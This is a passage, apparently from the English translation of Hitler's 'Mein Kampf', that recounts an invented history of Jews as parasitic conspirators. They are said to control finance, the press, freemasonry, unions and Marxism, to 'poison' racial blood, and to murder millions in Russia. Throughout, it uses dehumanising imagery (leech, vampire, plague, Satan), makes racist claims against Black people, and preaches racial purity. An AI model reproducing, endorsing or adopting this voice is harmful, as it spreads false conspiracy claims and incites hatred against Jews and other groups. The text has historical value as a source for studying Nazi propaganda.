out money at usurious +interest, which is a permanent trade of his. It was he who first +introduced the payment of interest on borrowed money. The danger which +this innovation involved was not at first recognized; indeed the +innovation was welcomed, because it offered momentary advantages. + +(c) At this stage the Jew had become firmly settled down; that is to +say, he inhabited special sections of the cities and towns and had his +own quarter in the market-places. Thus he gradually came to form a State +within a State. He came to look upon the commercial domain and all money +transactions as a privilege belonging exclusively to himself and he +exploited it ruthlessly. + +(d) At this stage finance and trade had become his complete monopoly. +Finally, his usurious rate of interest aroused opposition and the +increasing impudence which the Jew began to manifest all round stirred +up popular indignation, while his display of wealth gave rise to popular +envy. The cup of his iniquity became full to the brim when he included +landed property among his commercial wares and degraded the soil to the +level of a market commodity. Since he himself never cultivated the soil +but considered it as an object to be exploited, on which the peasant may +still remain but only on condition that he submits to the most heartless +exactions of his new master, public antipathy against the Jew steadily +increased and finally turned into open animosity. His extortionate +tyranny became so unbearable that people rebelled against his control +and used physical violence against him. They began to scrutinize this +foreigner somewhat more closely, and then began to discover the +repulsive traits and characteristics inherent in him, until finally an +abyss opened between the Jews and their hosts, across which abyss there +could be no further contact. + +In times of distress a wave of public anger has usually arisen against +the Jew; the masses have taken the law into their own hands; they have +seized Jewish property and ruined the Jew in their urge to protect +themselves against what they consider to be a scourge of God. Having +come to know the Jew intimately through the course of centuries, in +times of distress they looked upon his presence among them as a public +danger comparable only to the plague. + +(e) But then the Jew began to reveal his true character. He paid court +to governments, with servile flattery, used his money to ingratiate +himself further and thus regularly secured for himself once again the +privilege of exploiting his victim. Although public wrath flared up +against this eternal profiteer and drove him out, after a few years he +reappeared in those same places and carried on as before. No persecution +could force him to give up his trade of exploiting other people and no +amount of harrying succeeded in driving him out permanently. He always +returned after a short time and it was always the old story with him. + +In an effort to save at least the worst from happening, legislation was +passed which debarred the Jew from obtaining possession of the land. + +(f) In proportion as the powers of kings and princes increased, the Jew +sidled up to them. He begged for 'charters' and 'privileges' which those +gentlemen, who were generally in financial straits, gladly granted if +they received adequate payment in return. However high the price he has +to pay, the Jew will succeed in getting it back within a few years from +operating the privilege he has acquired, even with interest and compound +interest. He is a real leech who clings to the body of his unfortunate +victims and cannot be removed; so that when the princes found themselves +in need once again they took the blood from his swollen veins with their +own hands. + +This game was repeated unendingly. In the case of those who were called +'German Princes', the part they played was quite as contemptible as that +played by the Jew. They were a real scourge for their people. Their +compeers may be found in some of the government ministers of our time. + +It was due to the German princes that the German nation could not +succeed in definitely freeing itself from the Jewish peril. +Unfortunately the situation did not change at a later period. The +princes finally received the reward which they had a thousand-fold +deserved for all the crimes committed by them against their own people. +They had allied themselves with Satan and later on they discovered that +they were in Satan's embrace. + +(g) By permitting themselves to be entangled in the toils of the Jew, +the princes prepared their own downfall. The position which they held +among their people was slowly but steadily undermined not only by their +continued failure to guard the interests of their subjects but by the +positive exploitation of them. The Jew calculated exactly the time when +the downfall of the princes was approaching and did his best to hasten +it. He intensified their financial difficulties by hindering them in the +exercise of their duty towards their people, by inveigling them through +the most servile flatteries into further personal display, whereby he +made himself more and more indispensable to them. His astuteness, or +rather his utter unscrupulousness, in money affairs enabled him to exact +new income from the princes, to squeeze the money out of them and then +have it spent as quickly as possible. Every Court had its 'Court Jews', +as this plague was called, who tortured the innocent victims until they +were driven to despair; while at the same time this Jew provided the +means which the princes squandered on their own pleasures. It is not to +be wondered at that these ornaments of the human race became the +recipients of official honours and even were admitted into the ranks of +the hereditary nobility, thus contributing not only to expose that +social institution to ridicule but also to contaminate it from the +inside. + +Naturally the Jew could now exploit the position to which he had +attained and push himself forward even more rapidly than before. Finally +he became baptized and thus entitled to all the rights and privileges +which belonged to the children of the nation on which he preyed. This +was a high-class stroke of business for him, and he often availed +himself of it, to the great joy of the Church, which was proud of having +gained a new child in the Faith, and also to the joy of Israel, which +was happy at seeing the trick pulled off successfully. + +(h) At this stage a transformation began to take place in the world of +Jewry. Up to now they had been Jews--that is to say, they did not +hitherto set any great value on pretending to be something else; and +anyhow the distinctive characteristics which separated them from other +races could not be easily overcome. Even as late as the time of +Frederick the Great nobody looked upon the Jews as other than a +'foreign' people, and Goethe rose up in revolt against the failure +legally to prohibit marriage between Christians and Jews. Goethe was +certainly no reactionary and no time-server. What he said came from the +voice of the blood and the voice of reason. Notwithstanding the +disgraceful happenings taking place in Court circles, the people +recognized instinctively that the Jew was the foreign body in their own +flesh and their attitude towards him was directed by recognition of that +fact. + +But a change was now destined to take place. In the course of more than +a thousand years the Jew had learned to master the language of his hosts +so thoroughly that he considered he might now lay stress on his Jewish +character and emphasize the 'Germanism' a bit more. Though it must have +appeared ridiculous and absurd at first sight, he was impudent enough to +call himself a 'Teuton', which in this case meant a German. In that way +began one of the most infamous impositions that can be imagined. The Jew +did not possess the slightest traces of the German character. He had +only acquired the art of twisting the German language to his own uses, +and that in a disgusting way, without having assimilated any other +feature of the German character. Therefore his command of the language +was the sole ground on which he could pretend to be a German. It is not +however by the tie of language, but exclusively by the tie of blood that +the members of a race are bound together. And the Jew himself knows this +better than any other, seeing that he attaches so little importance to +the preservation of his own language while at the same time he strives +his utmost to maintain his blood free from intermixture with that of +other races. A man may acquire and use a new language without much +trouble; but it is only his old ideas that he expresses through the new +language. His inner nature is not modified thereby. The best proof of +this is furnished by the Jew himself. He may speak a thousand tongues +and yet his Jewish nature will remain always one and the same. His +distinguishing characteristics were the same when he spoke the Latin +language at Ostia two thousand years ago as a merchant in grain, as they +are to-day when he tries to sell adulterated flour with the aid of his +German gibberish. He is always the same Jew. That so obvious a fact is +not recognized by the average head-clerk in a German government +department, or by an officer in the police administration, is also a +self-evident and natural fact; since it would be difficult to find +another class of people who are so lacking in instinct and intelligence +as the civil servants employed by our modern German State authorities. + +The reason why, at the stage I am dealing with, the Jew so suddenly +decided to transform himself into a German is not difficult to discover. +He felt the power of the princes slowly crumbling and therefore looked +about to find a new social plank on which he might stand. Furthermore, +his financial domination over all the spheres of economic life had +become so powerful that he felt he could no longer sustain that enormous +structure or add to it unless he were admitted to the full enjoyment of +the 'rights of citizenship.' He aimed at both, preservation and +expansion; for the higher he could climb the more alluring became the +prospect of reaching the old goal, which was promised to him in ancient +times, namely world-rulership, and which he now looked forward to with +feverish eyes, as he thought he saw it visibly approaching. Therefore +all his efforts were now directed to becoming a fully-fledged citizen, +endowed with all civil and political rights. + +That was the reason for his emancipation from the Ghetto. + +(i) And thus the Court Jew slowly developed into the national Jew. But +naturally he still remained associated with persons in higher quarters +and he even attempted to push his way further into the inner circles of +the ruling set. But at the same time some other representatives of his +race were currying favour with the people. If we remember the crimes the +Jew had committed against the masses of the people in the course of so +many centuries, how repeatedly and ruthlessly he exploited them and how +he sucked out even the very marrow of their substance, and when we +further remember how they gradually came to hate him and finally +considered him as a public scourge--then we may well understand how +difficult the Jew must have found this final transformation. Yes, +indeed, it must tax all their powers to be able to present themselves as +'friends of humanity' to the poor victims whom they have skinned raw. + +Therefore the Jew began by making public amends for the crimes which he +had committed against the people in the past. He started his +metamorphosis by first appearing as the 'benefactor' of humanity. Since +his new philanthropic policy had a very concrete aim in view, he could +not very well apply to himself the biblical counsel, not to allow the +left hand to know what the right hand is giving. He felt obliged to let +as many people as possible know how deeply the sufferings of the masses +grieved him and to what excesses of personal sacrifice he was ready to +go in order to help them. With this manifestation of innate modesty, so +typical of the Jew, he trumpeted his virtues before the world until +finally the world actually began to believe him. Those who refused to +share this belief were considered to be doing him an injustice. Thus +after a little while he began to twist things around, so as to make it +appear that it was he who had always been wronged, and vice versa. There +were really some particularly foolish people who could not help pitying +this poor unfortunate creature of a Jew. + +Attention may be called to the fact that, in spite of his proclaimed +readiness to make personal sacrifices, the Jew never becomes poor +thereby. He has a happy knack of always making both ends meet. +Occasionally his benevolence might be compared to the manure which is +not spread over the field merely for the purpose of getting rid of it, +but rather with a view to future produce. Anyhow, after a comparatively +short period of time, the world was given to know that the Jew had +become a general benefactor and philanthropist. What a transformation! + +What is looked upon as more or less natural when done by other people +here became an object of astonishment, and even sometimes of admiration, +because it was considered so unusual in a Jew. That is why he has +received more credit for his acts of benevolence than ordinary mortals. + +And something more: The Jew became liberal all of a sudden and began to +talk enthusiastically of how human progress must be encouraged. +Gradually he assumed the air of being the herald of a new age. + +Yet at the same time he continued to undermine the ground-work of that +part of the economic system in which the people have the most practical +interest. He bought up stock in the various national undertakings and +thus pushed his influence into the circuit of national production, +making this latter an object of buying and selling on the stock +exchange, or rather what might be called the pawn in a financial game of +chess, and thus ruining the basis on which personal proprietorship alone +is possible. Only with the entrance of the Jew did that feeling of +estrangement, between employers and employees begin which led at a later +date to the political class-struggle. + +Finally the Jew gained an increasing influence in all economic +undertakings by means of his predominance in the stock-exchange. If not +the ownership, at least he secured control of the working power of the +nation. + +In order to strengthen his political position, he directed his efforts +towards removing the barrier of racial and civic discrimination which +had hitherto hindered his advance at every turn. With characteristic +tenacity he championed the cause of religious tolerance for this +purpose; and in the freemason organization, which had fallen completely +into his hands, he found a magnificent weapon which helped him to +achieve his ends. Government circles, as well as the higher sections of +the political and commercial bourgeoisie, fell a prey to his plans +through his manipulation of the masonic net, though they themselves did +not even suspect what was happening. + +Only the people as such, or rather the masses which were just becoming +conscious of their own power and were beginning to use it in the fight +for their rights and liberties, had hitherto escaped the grip of the +Jew. At least his influence had not yet penetrated to the deeper and +wider sections of the people. This was unsatisfactory to him. The most +important phase of his policy was therefore to secure control over the +people. The Jew realized that in his efforts to reach the position of +public despot he would need a 'peace-maker.' And he thought he could +find a peace-maker if he could whip-in sufficient extensive sections of +the bourgeois. But the freemasons failed to catch the +glove-manufacturers and the linen-weavers in the frail meshes of their +net. And so it became necessary to find a grosser and withal a more +effective means. Thus another weapon beside that of freemasonry would +have to be secured. This was the Press. The Jew exercised all his skill +and tenacity in getting hold of it. By means of the Press he began +gradually to control public life in its entirety. He began to drive it +along the road which he had chosen to reach his own ends; for he was now +in a position to create and direct that force which, under the name of +'public opinion' is better known to-day than it was some decades ago. + +Simultaneously the Jew gave himself the air of thirsting after +knowledge. He lauded every phase of progress, particularly those phases +which led to the ruin of others; for he judges all progress and +development from the standpoint of the advantages which these bring to +his own people. When it brings him no such advantages he is the deadly +enemy of enlightenment and hates all culture which is real culture as +such. All the knowledge which he acquires in the schools of others is +exploited by him exclusively in the service of his own race. + +Even more watchfully than ever before, he now stood guard over his +Jewish nationality. Though bubbling over with 'enlightenment', +'progress', 'liberty', 'humanity', etc., his first care was to preserve +the racial integrity of his own people. He occasionally bestowed one of +his female members on an influential Christian; but the racial stock of +his male descendants was always preserved unmixed fundamentally. He +poisons the blood of others but preserves his own blood unadulterated. +The Jew scarcely ever marries a Christian girl, but the Christian takes +a Jewess to wife. The mongrels that are a result of this latter union +always declare themselves on the Jewish side. Thus a part of the higher +nobility in particular became completely degenerate. The Jew was well +aware of this fact and systematically used this means of disarming the +intellectual leaders of the opposite race. To mask his tactics and fool +his victims, he talks of the equality of all men, no matter what their +race or colour may be. And the simpletons begin to believe him. + +Since his whole nature still retains too foreign an odour for the broad +masses of the people to allow themselves to be caught in his snare, he +uses the Press to put before the public a picture of himself which is +entirely untrue to life but well designed to serve his purpose. In the +comic papers special efforts are made to represent the Jews as an +inoffensive little race which, like all others, has its peculiarities. +In spite of their manners, which may seem a bit strange, the comic +papers present the Jews as fundamentally good-hearted and honourable. +Attempts are generally made to make them appear insignificant rather +than dangerous. + +During this phase of his progress the chief goal of the Jew was the +victory of democracy, or rather the supreme hegemony of the +parliamentary system, which embodies his concept of democracy. This +institution harmonises best with his purposes; for thus the personal +element is eliminated and in its place we have the dunder-headed +majority, inefficiency and, last but by no means least, knavery. + +The final result must necessarily have been the overthrow of the +monarchy, which had to happen sooner or later. + +(j) A tremendous economic development transformed the social structure +of the nation. The small artisan class slowly disappeared and the +factory worker, who took its place, had scarcely any chance of +establishing an independent existence of his own but sank more and more +to the level of a proletariat. An essential characteristic of the +factory worker is that he is scarcely ever able to provide for an +independent source of livelihood which will support him in later life. +In the true sense of the word, he is 'disinherited'. His old age is a +misery to him and can hardly be called life at all. + +In earlier times a similar situation had been created, which had +imperatively demanded a solution and for which a solution was found. +Side by side with the peasant and the artisan, a new class was gradually +developed, namely that of officials and employees, especially those +employed in the various services of the State. They also were a +'disinherited' class, in the true sense of the word. But the State found +a remedy for this unhealthy situation by taking upon itself the duty of +providing for the State official who could establish nothing that would +be an independent means of livelihood for himself in his old age. Thus +the system of pensions and retiring allowances was introduced. Private +enterprises slowly followed this example in increasing numbers; so that +to-day every permanent non-manual worker receives a pension in his later +years, if the firm which he has served is one that has reached or gone +beyond a certain size. It was only by virtue of the assurance given of +State officials, that they would be cared for in their old age. that +such a high degree of unselfish devotion to duty was developed, which in +pre-war times was one of the distinguising characteristics of German +officials. + +Thus a whole class which had no personal property was saved from +destitution by an intelligent system of provision, and found a place in +the social structure of the national community. + +The problem is now put before the State and nation, but this time in a +much larger form. When the new industries sprang up and developed, +millions of people left the countryside and the villages to take up +employment in the big factories. The conditions under which this new +class found itself forced to live were worse than miserable. The more or +less mechanical transformation of the methods of work hitherto in vogue +among the artisans and peasants did not fit in well with the habits or +mentality of this new working-class. The way in which the peasants and +artisans had formerly worked had nothing comparable to the intensive +labour of the new factory worker. In the old trades time did not play a +highly important role, but it became an essential element in the new +industrial system. The formal taking over of the old working hours into +the mammoth industrial enterprises had fatal results. The actual amount +of work hitherto accomplished within a certain time was comparatively +small, because the modern methods of intensive production were then +unknown. Therefore, though in the older system a working day of fourteen +or even fifteen hours was not unendurable, now it was beyond the +possibilities of human endurance because in the new system every minute +was utilized to the extreme. This absurd transference of the old working +hours to the new industrial system proved fatal in two directions. +First, it ruined the health of the workers; secondly, it destroyed their +faith in a superior law of justice. Finally, on the one hand a miserable +wage was received and, on the other, the employer held a much more +lucrative position than before. Hence a striking difference between the +ways of life on the one side and on the other. + +In the open country there could be no social problem, because the master +and the farm-hand were doing the same kind of work and doing it +together. They ate their food in common, and sometimes even out of the +same dish. But in this sphere also the new system introduced an entirely +different set of conditions between masters and men. + +The division created between employer and employees seems not to have +extended to all branches of life. How far this Judaizing process has +been allowed to take effect among our people is illustrated by the fact +that manual labour not only receives practically no recognition but is +even considered degrading. That is not a natural German attitude. It is +due to the introduction of a foreign element into our lives, and that +foreign element is the Jewish spirit, one of the effects of which has +been to transform the high esteem in which our handicrafts once were +held into a definite feeling that all physical labour is something base +and unworthy. + +Thus a new social class has grown up which stands in low esteem; and the +day must come when we shall have to face the question of whether the +nation will be able to make this class an integral part of the social +community or whether the difference of status now existing will become a +permanent gulf separating this class from the others. + +One thing, however, is certain: This class does not include the worst +elements of the community in its ranks. Rather the contrary is the +truth: it includes the most energetic parts of the nation. The +sophistication which is the result of a so-called civilization has not +yet exercised its disintegrating and degenerating influence on this +class. The broad masses of this new lower class, constituted by the +manual labourers, have not yet fallen a prey to the morbid weakness of +pacifism. These are still robust and, if necessary, they can be brutal. + +While our bourgeoisie middle class paid no attention at all to this +momentous problem and indifferently allowed events to take their course, +the Jew seized upon the manifold possibilities which the situation +offered him for the future. While on the one hand he organized +capitalistic methods of exploitation to their ultimate degree of +efficiency, he curried favour with the victims of his policy and his +power and in a short while became the leader of their struggle against +himself. 'Against himself' is here only a figurative way of speaking; +for this 'Great Master of Lies' knows how to appear in the guise of the +innocent and throw the guilt on others. Since he had the impudence to +take a personal lead among the masses, they never for a moment suspected +that they were falling a prey to one of the most infamous deceits ever +practised. And yet that is what it actually was. + +The moment this new class had arisen out of the general economic +situation and taken shape as a definite body in the social order, the +Jew saw clearly where he would find the necessary pacemaker for his own +progressive march. At first he had used the bourgeois class as a +battering-ram against the feudal order; and now he used the worker +against the bourgeois world. Just as he succeeded in obtaining civic +rights by intrigues carried on under the protection of the bourgeois +class, he now hoped that by joining in the struggle which the workers +were waging for their own existence he would be able to obtain full +control over them. + +When that moment arrives, then the only objective the workers will have +to fight for will be the future of the Jewish people. Without knowing +it, the worker is placing himself at the service of the very power +against which he believes he is fighting. Apparently he is made to fight +against capital and thus he is all the more easily brought to fight for +capitalist interests. Outcries are systematically raised against +international capital but in reality it is against the structure of +national economics that these slogans are directed. The idea is to +demolish this structure and on its ruins triumphantly erect the +structure of the International Stock Exchange. + +In this line of action the procedure of the Jew was as follows: + +He kowtowed to the worker, hypocritically pretended to feel pity for him +and his lot, and even to be indignant at the misery and poverty which +the worker had to endure. That is the way in which the Jew endeavoured +to gain the confidence of the working class. He showed himself eager to +study their various hardships, whether real or imaginary, and strove to +awaken a yearning on the part of the workers to change the conditions +under which they lived. The Jew artfully enkindled that innate yearning +for social justice which is a typical Aryan characteristic. Once that +yearning became alive it was transformed into hatred against those in +more fortunate circumstances of life. The next stage was to give a +precise philosophical aspect to the struggle for the elimination of +social wrongs. And thus the Marxist doctrine was invented. + +By presenting his doctrine as part and parcel of a just revindication of +social rights, the Jew propagated the doctrine all the more effectively. +But at the same time he provoked the opposition of decent people who +refused to admit these demands which, because of the form and +pseudo-philosophical trimmings in which they are presented, seemed +fundamentally unjust and impossible for realization. For, under the +cloak of purely social concepts there are hidden aims which are of a +Satanic character. These aims are even expounded in the open with the +clarity of unlimited impudence. This Marxist doctrine is an individual +mixture of human reason and human absurdity; but the combination is +arranged in such a way that only the absurd part of it could ever be put +into practice, but never the reasonable part of it. By categorically +repudiating the personal worth of the individual and also the nation and +its racial constituent, this doctrine destroys the fundamental basis of +all civilization; for civilization essentially depends on these very +factors. Such is the true essence of the Marxist WELTANSCHAUUNG, so far +as the word WELTANSCHAUUNG can be applied at all to this phantom +arising from a criminal brain. The destruction of the concept of +personality and of race removes the chief obstacle which barred the way +to domination of the social body by its inferior elements, which are the +Jews. + +The very absurdity of the economic and political theories of Marxism +gives the doctrine its peculiar significance. Because of its +pseudo-logic, intelligent people refuse to support it, while all those +who are less accustomed to use their intellectual faculties, or who have +only a rudimentary notion of economic principles, join the Marxist cause +with flying banners. The intelligence behind the movement--for even this +movement needs intelligence if it is to subsist--is supplied by the Jews +themselves, naturally of course as a gratuitous service which is at the +same time a sacrifice on their part. + +Thus arose a movement which was composed exclusively of manual workers +under the leadership of Jews. To all external appearances, this movement +strives to ameliorate the conditions under which the workers live; but +in reality its aim is to enslave and thereby annihilate the non-Jewish +races. + +The propaganda which the freemasons had carried on among the so-called +intelligentsia, whereby their pacifist teaching paralysed the instinct +for national self-preservation, was now extended to the broad masses of +the workers and bourgeoisie by means of the Press, which was almost +everywhere in Jewish hands. To those two instruments of disintegration a +third and still more ruthless one was added, namely, the organization of +brute physical force among the masses. As massed columns of attacks, the +Marxist troops stormed those parts of the social order which had been +left standing after the two former undermining operations had done their +work. + +The combined activity of all these forces has been marvellously managed. +And it will not be surprising if it turns out that those institutions +which have always appeared as the organs of the more or less traditional +authority of the State should now fall before the Marxist attack. Among +our higher and highest State officials, with very few exceptions, the +Jew has found the cost complacent backers in his work of destruction. An +attitude of sneaking servility towards 'superiors' and supercilious +arrogance towards 'inferiors' are the characteristics of this class of +people, as well as a grade of stupidity which is really frightening and +at the same time a towering self-conceit, which has been so consistently +developed to make it amusing. + +But these qualities are of the greatest utility to the Jew in his +dealings with our authorities. Therefore they are qualities which he +appreciates most in the officials. + +If I were to sketch roughly the actual struggle which is now beginning I +should describe it somewhat thus: + +Not satisfied with the economic conquest of the world, but also +demanding that it must come under his political control, the Jew +subdivides the organized Marxist power into two parts, which correspond +to the ultimate objectives that are to be fought for in this struggle +which is carried on under the direction of the Jew. To outward +appearance, these seem to be two independent movements, but in reality +they constitute an indivisible unity. The two divisions are: The +political movement and the trades union movement. + +The trades union movement has to gather in the recruits. It offers +assistance and protection to the workers in the hard struggle which they +have to wage for the bare means of existence, a struggle which has been +occasioned by the greediness and narrow-mindedness of many of the +industrialists. Unless the workers be ready to surrender all claims to +an existence which the dignity of human nature itself demands, and +unless they are ready to submit their fate to the will of employers who +in many cases have no sense of human responsibilities and are utterly +callous to human wants, then the worker must necessarily take matters +into his own hands, seeing that the organized social community--that is +to say, the State--pays no attention to his needs. + +The so-called national-minded bourgeoisie, blinded by its own material +interests, opposes this life-or-death struggle of the workers and places +the most difficult obstacles in their way. Not only does this +bourgeoisie hinder all efforts to enact legislation which would shorten +the inhumanly long hours of work, prohibit child-labour, grant security +and protection to women and improve the hygienic conditions of the +workshops and the dwellings of the working-class, but while the +bourgeoisie hinders all this the shrewd Jew takes the cause of the +oppressed into his own hands. He gradually becomes the leader of the +trades union movements, which is an easy task for him, because he does +not genuinely intend to find remedies for the social wrong: he pursues +only one objective, namely, to gather and consolidate a body of +followers who will act under his commands as an armed weapon in the +economic war for the destruction of national economic independence. For, +while a sound social policy has to move between the two poles of +securing a decent level of public health and welfare on the one hand +and, on the other, that of safeguarding the independence of the economic +life of the nation, the Jew does not take these poles into account at +all. The destruction of both is one of his main objects. He would ruin, +rather than safeguard, the independence of the national economic system. +Therefore, as the leader of the trades union movement, he has no +scruples about putting forward demands which not only go beyond the +declared purpose of the movement but could not be carried into effect +without ruining the national economic structure. On the other hand, he +has no interest in seeing a healthy and sturdy population develop; he +would be more content to see the people degenerate into an unthinking +herd which could be reduced to total subjection. Because these are his +final objectives, he can afford to put forward the most absurd claims. +He knows very well that these claims can never be realized and that +therefore nothing in the actual state of affairs could be altered by +them, but that the most they can do is to arouse the spirit of unrest +among the masses. That is exactly the purpose which he wishes such +propaganda to serve and not a real and honest improvement of the social +conditions. + +The Jews will therefore remain the unquestioned leaders of the trades +union movement so long as a campaign is not undertaken, which must be +carried out on gigantic lines, for the enlightenment of the masses; so +that they will be enabled better to understand the causes of their +misery. Or the same end might be achieved if the government authorities +would get rid of the Jew and his work. For as long as the masses remain +so ill-informed as they actually are to-day, and as long as the State +remains as indifferent to their lot as it now is, the masses will follow +whatever leader makes them the most extravagant promises in regard to +economic matters. The Jew is a past master at this art and his +activities are not hampered by moral considerations of any kind. + +Naturally it takes him only a short time to defeat all his competitors +in this field and drive them from the scene of action. In accordance +with the general brutality and rapacity of his nature, he turns the +trades union movement into an organization for the exercise of physical +violence. The resistance of those whose common sense has hitherto saved +them from surrendering to the Jewish dictatorship is now broken down by +terrorization. The success of that kind of activity is enormous. + +Parallel with this, the political organization advances. It operates +hand-in-hand with the trades union movement, inasmuch as the latter +prepares the masses for the political organization and even forces them +into it. This is also the source that provides the money which the +political organization needs to keep its enormous apparatus in action. +The trades union organization is the organ of control for the political +activity of its members and whips in the masses for all great political +demonstrations. In the end it ceases to struggle for economic interests +but places its chief weapon, the refusal to continue work--which takes +the form of a general strike--at the disposal of the political movement. + +By means of a Press whose contents are adapted to the level of the most +ignorant readers, the political and trades union organizations are +provided with an instrument which prepares the lowest stratum of the +nation for a campaign of ruthless destruction. It is not considered part +of the purpose of this Press to inspire its readers with ideals which +might help them to lift their minds above the sordid conditions of their +daily lives; but, on the contrary, it panders to their lowest instincts. +Among the lazy-minded and self-seeking sections of the masses this kind +of speculation turns out lucrative. + +It is this Press above all which carries on a fanatical campaign of +calumny, strives to tear down everything that might be considered as a +mainstay of national independence and to sabotage all cultural values as +well as to destroy the autonomy of the national economic system. + +It aims its attack especially against all men of character who refuse to +fall into line with the Jewish efforts to obtain control over the State +or who appear dangerous to the Jews merely because of their superior +intelligence. For in order to incur the enmity of the Jew it is not +necessary to show any open hostility towards him. It is quite sufficient +if one be considered capable of opposing the Jew some time in the future +or using his abilities and character to enhance the power and position +of a nation which the Jew finds hostile to himself. + +The Jewish instinct, which never fails where these problems have to be +dealt with, readily discerns the true mentality of those whom the Jew +meets in everyday life; and those who are not of a kindred spirit with +him may be sure of being listed among his enemies. Since the Jew is not +the object of aggression but the aggressor himself, he considers as his +enemies not only those who attack him but also those who may be capable +of resisting him. The means which he employs to break people of this +kind, who may show themselves decent and upright, are not the open means +generally used in honourable conflict, but falsehood and calumny. + +He will stop at nothing. His utterly low-down conduct is so appalling +that one really cannot be surprised if in the imagination of our people +the Jew is pictured as the incarnation of Satan and the symbol of evil. + +The ignorance of the broad masses as regards the inner character of the +Jew, and the lack of instinct and insight that our upper classes +display, are some of the reasons which explain how it is that so many +people fall an easy prey to the systematic campaign of falsehood which +the Jew carries on. + +While the upper classes, with their innate cowardliness, turn away from +anyone whom the Jew thus attacks with lies and calumny, the common +people are credulous of everything, whether because of their ignorance +or their simple-mindedness. Government authorities wrap themselves up in +a robe of silence, but more frequently they persecute the victims of +Jewish attacks in order to stop the campaign in the Jewish Press. To the +fatuous mind of the government official such a line of conduct appears +to belong to the policy of upholding the authority of the State and +preserving public order. Gradually the Marxist weapon in the hands of +the Jew becomes a constant bogy to decent people. Sometimes the fear of +it sticks in the brain or weighs upon them as a kind of nightmare. +People begin to quail before this fearful foe and therewith become his +victims. + +(k) The Jewish domination in the State seems now so fully assured that +not only can he now afford to call himself a Jew once again, but he even +acknowledges freely and openly what his ideas are on racial and +political questions. A section of the Jews avows itself quite openly as +an alien people, but even here there is another falsehood. When the +Zionists try to make the rest of the world believe that the new national +consciousness of the Jews will be satisfied by the establishment of a +Jewish State in Palestine, the Jews thereby adopt another means to dupe +the simple-minded Gentile. They have not the slightest intention of +building up a Jewish State in Palestine so as to live in it. What they +really are aiming at is to establish a central organization for their +international swindling and cheating. As a sovereign State, this cannot +be controlled by any of the other States. Therefore it can serve as a +refuge for swindlers who have been found out and at the same time a +high-school for the training of other swindlers. + +As a sign of their growing presumption and sense of security, a certain +section of them openly and impudently proclaim their Jewish nationality +while another section hypocritically pretend that they are German, +French or English as the case may be. Their blatant behaviour in their +relations with other people shows how clearly they envisage their day of +triumph in the near future. + +The black-haired Jewish youth lies in wait for hours on end, satanically +glaring at and spying on the unsuspicious girl whom he plans to seduce, +adulterating her blood and removing her from the bosom of her own +people. The Jew uses every possible means to undermine the racial +foundations of a subjugated people. In his systematic efforts to ruin +girls and women he strives to break down the last barriers of +discrimination between him and other peoples. The Jews were responsible +for bringing negroes into the Rhineland, with the ultimate idea of +bastardizing the white race which they hate and thus lowering its +cultural and political level so that the Jew might dominate. For as long +as a people remain racially pure and are conscious of the treasure of +their blood, they can never be overcome by the Jew. Never in this world +can the Jew become master of any people except a bastardized people. + +That is why the Jew systematically endeavours to lower the racial +quality of a people by permanently adulterating the blood of the +individuals who make up that people. + +In the field of politics he now begins to replace the idea of democracy +by introducing the dictatorship of the proletariat. In the masses +organized under the Marxist banners he has found a weapon which makes it +possible for him to discard democracy, so as to subjugate and rule in a +dictatorial fashion by the aid of brute force. He is systematically +working in two ways to bring about this revolution. These ways are the +economic and the political respectively. + +Aided by international influences, he forms a ring of enemies around +those nations which have proved themselves too sturdy for him in +withstanding attacks from within. He would like to force them into war +and then, if it should be necessary to his plans, he will unfurl the +banners of revolt even while the troops are actually fighting at the +front. + +Economically he brings about the destruction of the State by a +systematic method of sabotaging social enterprises until these become so +costly that they are taken out of the hands of the State and then +submitted to the control of Jewish finance. Politically he works to +withdraw from the State its means of susbsistence, inasmuch as he +undermines the foundations of national resistance and defence, destroys +the confidence which the people have in their Government, reviles the +past and its history and drags everything national down into the gutter. + +Culturally his activity consists in bowdlerizing art, literature and the +theatre, holding the expressions of national sentiment up to scorn, +overturning all concepts of the sublime and beautiful, the worthy and +the good, finally dragging the people to the level of his own low +mentality. + +Of religion he makes a mockery. Morality and decency are described as +antiquated prejudices and thus a systematic attack is made to undermine +those last foundations on which the national being must rest if the +nation is to struggle for its existence in this world. + +(l) Now begins the great and final revolution. As soon as the Jew is in +possession of political power he drops the last few veils which have +hitherto helped to conceal his features. Out of the democratic Jew, the +Jew of the People, arises the 'Jew of the Blood', the tyrant of the +peoples. In the course of a few years he endeavours to exterminate all +those who represent the national intelligence. And by thus depriving the +peoples of their natural intellectual leaders he fits them for their +fate as slaves under a lasting despotism. + +Russia furnishes the most terrible example of such a slavery. In that +country the Jew killed or starved thirty millions of the people, in a +bout of savage fanaticism and partly by the employment of inhuman +torture. And he did this so that a gang of Jewish literati and financial +bandits should dominate over a great people. + +But the final consequence is not merely that the people lose all their +freedom under the domination of the Jews, but that in the end these +parasites themselves disappear. The death of the victim is followed +sooner or later by that of the vampire. + +If we review all the causes which contributed to bring about the +downfall of the German people we shall find that the most profound and +decisive cause must be attributed to the lack of insight into the racial +problem and especially in the failure to recognize the Jewish danger. + +It would have been easy enough to endure the defeats suffered on the +battlefields in August 1918. They were nothing when compared with the +military victories which our nation had achieved. Our downfall was not +the result of those defeats; but we were overthrown by that force which +had prepared those defeats by systematically operating for several +decades to destroy those political instincts and that moral stamina +which alone enable a people to struggle for its existence and therewith +secure the right to exist. + +By neglecting the problem of preserving the racial foundations of our +national life, the old Empire abrogated the sole right which entitles a +people to live on this planet. Nations that make mongrels of their +people, or allow their people to be turned into mongrels, sin against +the Will of Eternal Providence. And thus their overthrow at the hands of +a stronger opponent cannot be looked upon as a wrong but, on the +contrary, as a restoration of justice. If a people refuses to guard and +uphold the qualities with which it has been endowed by Nature and which +have their roots in the racial blood, then such a people has no right to +complain over the loss of its earthly existence. + +Everything on this earth can be made into something better. Every defeat +may be made the foundation of a future victory. Every lost war may be +the cause of a later resurgence. Every visitation of distress can give a +new impetus to human energy. And out of every oppression those forces +can develop which bring about a new re-birth of the national +soul--provided always that the racial blood is kept pure. + +But the loss of racial purity will wreck inner happiness for ever. It +degrades men for all time to come. And the physical and moral +consequences can never be wiped out. + +If this unique problem be studied and compared with the other problems +of life we shall easily recognize how small is their importance in +comparison with this. They are all limited to time; but the problem of +the maintenance or loss of the purity of the racial blood will last as +long as man himself lasts. + +All the symptoms of decline which manifested themselves already in +pre-war times can be traced back to the racial problem. + +Whether one is dealing with questions of general law, or monstrous +excrescences in economic life, of phenomena which point to a cultural +decline or political degeneration, whether it be a question of defects +in the school-system or of the evil influence which the Press exerts +over the adult population--always and everywhere these phenomena are at +bottom caused by a lack of consideration for the interests of the race +to which one's own nation belongs, or by the failure to 